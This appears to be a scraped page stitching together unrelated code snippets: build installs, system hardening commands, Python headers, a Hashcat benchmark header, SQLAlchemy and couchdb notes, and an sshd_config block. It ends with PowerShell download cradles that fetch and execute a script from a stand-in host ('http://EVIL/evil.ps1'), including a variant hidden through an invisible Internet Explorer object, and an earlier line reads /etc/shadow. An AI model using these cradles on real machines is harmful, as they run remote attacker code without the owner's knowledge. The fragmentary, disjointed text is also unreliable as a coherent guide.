For this guide the ubuntu:yakkety Docker image was used.
apt-get install mingw-w64-tools gcc-mingw-w64-x86-64 g++-mingw-w64-x86-64 wget gettext bison flex| apt-get clean | |
| apt-get update | |
| apt-get upgrade -y | |
| apt-get dist-upgrade -y | |
| passwd | |
| apt-get install chkrootkit | |
| leafpad /etc/hostname | |
| leafpad /etc/hosts | |
| updatedb | |
| cat /etc/shadow | awk -F: '($2==""){print $1}' > ./no_password_users.txt |
| # coding: utf-8 | |
| import ctypes | |
| import time | |
| import sys | |
| LONG = ctypes.c_long | |
| DWORD = ctypes.c_ulong | |
| ULONG_PTR = ctypes.POINTER(DWORD) | |
| WORD = ctypes.c_ushort |
This is a guide for aligning images.
See the full Advanced Markdown doc for more tips and tricks
Product: Sagitta Brutalis 1080 (PN S3480-GTX-1080-2697-128)
Software: Hashcat v3.00-beta-145-g069634a, Nvidia driver 367.18
Accelerator: 8x Nvidia GTX 1080 Founders Edition
| """ | |
| This script demonstrates the use of nested transactions in SQLAlchemy, including | |
| a workaround for an issue with the SQLite backend. | |
| References: | |
| http://docs.sqlalchemy.org/en/latest/orm/session_transaction.html#using-savepoint | |
| http://docs.sqlalchemy.org/en/latest/dialects/sqlite.html#serializable-isolation-savepoints-transactional-ddl | |
| """ | |
| from sqlalchemy import Column, String, Integer |
This is an unofficial manual for the couchdb Python module I wish I had had.
pip install couchdb
| # Insert these at the beginning of an existing sshd_config file | |
| KexAlgorithms curve25519-sha256@libssh.org | |
| Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr | |
| MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-ripemd160,umac-128@openssh.com | |
| Protocol 2 | |
| HostKey /etc/ssh/ssh_host_ed25519_key | |
| HostKey /etc/ssh/ssh_host_rsa_key | |
| PasswordAuthentication no | |
| ChallengeResponseAuthentication no |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |